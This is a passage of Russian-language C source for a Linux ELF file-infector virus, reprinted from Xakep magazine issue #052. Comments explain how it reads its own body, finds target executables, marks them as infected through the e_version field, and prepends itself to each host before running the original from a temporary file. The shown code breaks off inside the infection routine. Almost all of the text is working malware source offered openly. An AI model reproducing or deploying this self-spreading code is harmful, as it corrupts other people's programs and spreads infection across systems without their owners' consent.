Самораспространяющиеся файлы под Linux saparmurat Xakep, номер #052, стр. 052-078-2 Код ELF-распространителя /* ELF_Infector.c */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> // для использования fstat\stat #include <fcntl.h> #include <dirent.h> // DIR #include <elf.h> // Для работы с ELF header'ом #define Max_Infect_Counter 1 // Максимальное число заражаемых файлов за 1 раз #define Virus_Length <len> // Здесь необходимо вставить длину этого скомпиленного файла #define Temp_File ".temp" // Промежуточный файл // Объявление используемых переменных char *Original_Body, *New_Body, *Virus_Body,Directory[100], Target_Name[100]; int Length, Fdesc, Flag_Infected = 0, Infected_Counter; struct stat Status; struct dirent *d; DIR *dp; Elf32_Ehdr ELF_Header; int main(int argc, char *argv[], char *envp[]) { // Открывание самого себя и вычисление длины Fdesc = open(argv[0], O_RDONLY); fstat(Fdesc, &Status); lseek(Fdesc, 0, 0); // Проверка длины if(Status.st_size == Virus_Length) // Если запущен голый инфектор... { Length = Virus_Length; Virus_Body=malloc(Virus_Length); read(Fdesc, Virus_Body, Virus_Length); } else // Если уже заражен... { Length = Status.st_size - Virus_Length; Flag_Infected=1; // Чтение своего тела, затем тела оригинальной программы и сохранение их в отведенный буфер Virus_Body=malloc(Virus_Length); read(Fdesc, Virus_Body, Virus_Length); lseek(Fdesc, Virus_Length,0); Original_Body = malloc(Length); read(Fdesc, Original_Body, Length); } close(Fdesc); if (Flag_Infected == 1) // Если уже заражены... { // Запись оригинального кода в промежуточный файл Fdesc = open(Temp_File, O_RDWR | O_CREAT | O_TRUNC, Status.st_mode); if (Fdesc < 0){close(Fdesc);Fdesc = open(Temp_File, O_RDWR , Status.st_mode); } write(Fdesc, Original_Body, Length); close(Fdesc); // Поиск жертвы Find_Target(argv[0]); // После того как заражение произошло, запуск оригинального кода execve(Temp_File, argv, envp); } else { // Иначе поиск жертвы, заражение и выход Find_Target(argv[0]); exit(0); } } // Процедура заражения, в качестве параметра принимает имя найденной жертвы Infecting(char *Target) { // Считывание ELF-заголовка Fdesc = open(Target, O_RDWR , Status.st_mode); read(Fdesc, &ELF_Header,sizeof(ELF_Header)); // Проверка значения e_version, если 2, то возвращение в Find_Target и продолжение... if (ELF_Header.e_version==0x2){return(0);}else { // Чтение тела программы fstat(Fdesc, &Status); lseek(Fdesc, 0, SEEK_SET); New_Body = malloc(Status.st_size); read(Fdesc, New_Body, Status.st_size); lseek(Fdesc, 0, SEEK_SET); // Запись тела вируса write(Fdesc, Virus_Body, Virus_Length); // Тело программы write(Fdesc, New_Body, Status.st_size); |